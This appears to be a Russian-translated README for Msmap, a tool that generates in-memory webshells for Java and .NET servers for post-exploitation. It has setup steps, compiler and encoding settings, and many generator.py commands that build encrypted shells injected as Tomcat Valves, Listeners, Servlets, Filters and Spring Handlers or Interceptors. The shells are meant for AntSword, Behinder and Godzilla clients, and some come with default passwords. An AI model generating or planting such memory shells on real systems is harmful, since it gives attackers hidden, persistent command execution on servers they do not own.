
Модульный генератор memory webshell'ов, поддерживающий Java-контейнеры (Tomcat, Spring, WebLogic), с множеством типов шеллов, кодировщиков и автоматической компиляцией для пост-эксплуатационного тестирования на проникновение.
Msmap — это генератор веб-шеллов (WebShell) в памяти. Совместим с различными контейнерами, компонентами, кодировщиками, WebShell / Proxy / Killer и клиентами управления. 简体中文
Идея, стоящая за I, Идея, стоящая за II, Идея, стоящая за III



*: SpringHandler поддерживает только JDK8+
*: JVM по умолчанию поддерживает Linux Tomcat 8/9, больше версий можно адаптировать в соответствии с продвинутым руководством.
WebShell
Модульность не требуется
Proxy: Neo-reGeorg, wsproxy
Killer: java-memshell-scanner, ASP.NET-Memshell-Scanner
git clone [email protected]:hosch3n/msmap.git
cd msmap
python generator.py
[Предупреждение] ОБЯЗАТЕЛЬНО установите уникальный пароль. Параметры чувствительны к регистру.
Отредактируйте config/environment.py
# Auto Compile
auto_build = True
# Base64 Encode Class File
b64_class = True
# Generate Script File
generate_script = True
# Compiler Absolute Path
java_compiler_path = r"~/jdk1.6.0_04/bin/javac"
dotnet_compiler_path = r"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe"
Отредактируйте gist/java/container/tomcat/servlet.py
// Servlet Path Pattern
private static String pattern = "*.xml";
Если в WsFilter используется шифрующий кодировщик, пароль должен совпадать с путем (например /passwd)
gist/java/container/jdk/javax.py с lib/servlet-api.jar может быть заменен в зависимости от целевого контейнера.
pip3 install pyperclip для поддержки автоматического копирования в буфер обмена.
Команда с кодировщиком Base64 | Внедрение Valve Tomcat
python generator.py Java Tomcat Valve Base64 CMD passwd
Тип JSP с кодировщиком по умолчанию | Внедрение Valve Tomcat
python generator.py Java Tomcat Valve RAW AntSword passwd
Тип JSP с кодировщиком aes_128_ecb_pkcs7_padding_md5 | Внедрение Listener Tomcat
python generator.py Java Tomcat Listener AES128 AntSword passwd
Тип JSP с кодировщиком rc_4_sha256 | Внедрение Servlet Tomcat
python generator.py Java Tomcat Servlet RC4 AntSword passwd
Тип JSP с кодировщиком xor_md5 | AgentFiless внедрение HttpServlet
python generator.py Java JDK JavaX XOR AntSword passwd
Тип JSPJS с кодировщиком aes_128_ecb_pkcs7_padding_md5 | Внедрение WsFilter Tomcat
python generator.py Java Tomcat WsFilter AES128 JSPJS passwd
Тип JSPJS с кодировщиком xor_md5 | Внедрение Spring Handler
Тип default_aes | Внедрение Valve Tomcat
python generator.py Java Tomcat Valve AES128 Behinder rebeyond
Тип default_xor_base64 | Внедрение Spring Interceptor
python generator.py Java Spring Interceptor XOR Behinder rebeyond
Тип JAVA_AES_BASE64 | Внедрение Valve Tomcat
python generator.py Java Tomcat Valve AES128 Godzilla superidol
Тип JAVA_AES_BASE64 | AgentFiless внедрение HttpServlet
python generator.py Java JDK JavaX AES128 Godzilla superidol
Тип JAVA_AES_BASE64 | Внедрение Spring Handler
python generator.py Java Spring Handler AES128 Godzilla superidol
Behinder | wsMemShell | ysomap
python generator.py Java Spring Handler XOR JSPJS passwd